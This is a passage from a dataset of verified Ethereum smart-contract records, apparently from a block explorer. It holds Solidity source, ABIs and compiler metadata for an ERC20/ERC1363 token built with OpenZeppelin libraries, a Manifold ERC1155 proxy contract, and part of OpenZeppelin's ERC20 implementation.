inputs":[],"name":"enableTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"cap","type":"uint256"},{"name":"initialSupply","type":"uint256"},{"name":"transferEnabled","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[],"name":"TransferEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"OperatorAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"OperatorRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.10+commit.5a6ea5b1 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001431e0fae6d7217caa000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000b53616d706c65546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553414d504c000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://1359c9bceb801b3d66196905914482f61bcc1c25841d9f1784b1bfc7a677141e |
|||
ERC20Token | openzeppelin-solidity/contracts/math/SafeMath.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
} | 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|||
ERC20Token | openzeppelin-solidity/contracts/introspection/IERC165.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @dev Interface of the ERC165 standard, as defined in the
* [EIP](https://eips.ethereum.org/EIPS/eip-165).
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others (`ERC165Checker`).
*
* For an implementation, see `ERC165`.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 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|||
ERC20Token | erc-payable-token/contracts/token/ERC1363/IERC1363.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @title IERC1363 Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for a Payable Token contract as defined in
* https://github.com/ethereum/EIPs/issues/1363
*/
contract IERC1363 is IERC20, ERC165 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) public returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(address from, address to, uint256 value) public returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) public returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool);
} | 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|||
ERC20Token | openzeppelin-solidity/contracts/ownership/Ownable.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | 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ERC20Token | eth-token-recover/contracts/TokenRecover.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @title TokenRecover
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Allow to recover any ERC20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
} | 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|||
ERC20Token | ico-maker/contracts/access/roles/OperatorRole.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
} | 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ERC20Token | ico-maker/contracts/token/ERC1363/BaseERC1363Token.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @title BaseERC1363Token
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of the BaseERC20Token with ERC1363 behaviours
*/
contract BaseERC1363Token is BaseERC20Token, ERC1363 {
/**
* @param name Name of the token
* @param symbol A symbol to be used as ticker
* @param decimals Number of decimals. All the operations are done using the smallest and indivisible token unit
* @param cap Maximum number of tokens mintable
* @param initialSupply Initial token supply
*/
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply
)
public
BaseERC20Token(name, symbol, decimals, cap, initialSupply)
{} // solhint-disable-line no-empty-blocks
} | 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ERC20Token | contracts/ERC20Token.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @title ERC20Token
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of a BaseERC1363Token
*/
contract ERC20Token is BaseERC1363Token {
string public builtOn = "https://vittominacori.github.io/erc20-generator";
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
bool transferEnabled
)
public
BaseERC1363Token(name, symbol, decimals, cap, initialSupply)
{
if (transferEnabled) {
enableTransfer();
}
}
} | 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name":"addOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"removeOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"builtOn","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"enableTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"cap","type":"uint256"},{"name":"initialSupply","type":"uint256"},{"name":"transferEnabled","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[],"name":"TransferEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"OperatorAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"OperatorRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.10+commit.5a6ea5b1 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001431e0fae6d7217caa000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000b53616d706c65546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553414d504c000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://1359c9bceb801b3d66196905914482f61bcc1c25841d9f1784b1bfc7a677141e |
|||
MKD | contracts/MKD.sol | 0x4daceac69a6caf07da9de0b3e2adc42719a8462f | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: MKDRAGON
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
///////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ░░░░░░░░░░░░░░░░░░░░░░░░░,▄▄░░░░╫█▌░██▌░▐██░█████╟██░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░░░░░░░████▄░░╟█▌░╬██▌██▒║███████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░╓▓██████▌▀██µ╫█▌░╬╬███▀░╣██▀└'╙╙███µ░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░▄██└░░░╙██░╠█████░╫╬╬▓██╢██:░░░░░░└██▄││░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░]██│░░░░░╫█▌░╬████░╫╬╬╬╬╬██░░░░░░░│││╙└,░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░▓█▒░░░░░░⌠██░╚╬╬██▌╟╬╬╬╬██▌░░░░░░░░│░░▓█▄││░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░██'░░░░░░░╟█▌░╟╬╬███╬╬╬╣██│░░░░░░░░░││';,µ░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░██│░░░░░░░'██▌░╣╬╬╬╬╬▓███░░░░░░░░░░░░░░╟█▌░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░██░░░░░░░░░└▀███████▀▀└└░░░░░░░░░░░░░░░│▀▀░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░▄µ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░╫█▌▄▄▄▄;░│░░░░░░░░░░░░░░░░,,░░░░░░░░░░░░░░╫█▌░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░j▓█▀▀▀╬╙╙╚▀▀████████████▀▀▀█▀▀▀▀██▓▓▓▓█████████░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░██▒░░░╠▓▒▒░╠╠╟█░▄▄▄,j██░░░╔╠▓▒░╙╠░██▒╙└└└│░░░██░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░j▄▓▓██╬▒░╠╠░╙▓▒░╙╠██▀▀▀███▒╠▒╠╠░╙╟▓░░╙╣█▌▄▄▄▄▄µ░j██░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░└└╙██▒╠╠╟▒▒╔╠╬╠░▓█'░░░░⌠█▌╠╠╣╬░░╠╠╠▒░╟█▒╙╙╙╙╙'░╫█▌░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░██████▌╠╠╬╬╚╙░░▓█░▄▄▄▄▄▄╙█▌╠╠╟╣╬╩░░╙▓█▀░▀████░]██░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░╫██▀██▓▓▓██╙'░╙▀▀▀▀╙│╙▀█▓▄▄▄▄▄██▀^░░░░░░░▄██▒░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░╙██▄│└└.│░░░░░░░░░░░░░'╙╙╙╙╙└'░░░░░░░░╓███'░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░│╙██▄│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄██▀└░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░░╠██▓▄│░░░░░░░░░░░░░░░░░░░░░░,▄▓████▒░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░███████▄▄'░░░░░░░░░░░░░░▄▄███████╬▓███▓▄░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░▐████▓╬╬████▄,░░░░░░░▄▓█████╬▓▓▓███████████▄░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░j███████▓██████▄;░░░,▐███╬▓███████████████████▄░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░▄███████████████████████████▓███████╬▓▓███▓▓▓████░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░▄████████████▓████████████▓███████▓███▓▓████▓▓▓████░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░▐████▓▓╬████▓▓▓████████████▓▓████▓▓██████████████████░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░╓█████╣█████▓▓▓▓████████████▓████▓▓▓╣███▓▓▓▓███▓▓▓████▌░░░░░░░░░░░ //
// ░░░░░░░░░░░░]███████████████████████████████████▓███████████████████▌░░░░░░░░░░ //
// ░░░░░░░░░░░░█████▓▓╣█████▓▓▓█████████████▓█████▓▓▓████▓▓▓▓███▓▓▓█████▒░░░░░░░░░ //
// ░░░░░░░░░░░╫██████████████████████████████████████████████████████████░░░░░░░░░ //
// ░░╓▄▄░j▄▄░Q▄└│▄▄└▄▄▄▄└││▄▄▄▄└└│Q▄▄││││▄▄▄│││▄▄▄▄││▄▄└│▄▄││││▄▄▄▄│▄▄▄▄▄µ▄▄░░▄▄░░ //
// ░░╟██▌███▒██▓██└░██╙██▌╟██╠██░]███▒░██▀╠█▀░██╙╙██░███░█▌░░░╟██▄▄░▀╚██▀░██▄▄██░░ //
// ░░╟█╙██▐█▒██▀██▌░██▄▓█▌╟█▌██▄j█████µ██▄▓██░██▄▄██░█▌▀██▌╓▄µ╟██▄▄µ░▐█▌░░██░╙██░░ //
// ░░╙╙░╙└╙╙░╙╙░░╙╙Γ╙╙╙╙└░╙╙░░╙╙╙╙~░╙╙Γ│╙▀▀╙└░¡╙▀▀╙│░╙┘░╙╙Γ╙╙░╙╙╙╙╙░░░╙┘░░╙╙│░╙╙░░ //
// ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////////////
contract MKD is ERC1155Creator {
constructor() ERC1155Creator() {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4 | ||||
MKD | contracts/ERC1155Creator.sol | 0x4daceac69a6caf07da9de0b3e2adc42719a8462f | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4 | ||||
Toopi | @openzeppelin/contracts/token/ERC20/ERC20.sol | 0xf99fd242b551e9cee272320a0448b98444353e31 | Solidity | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
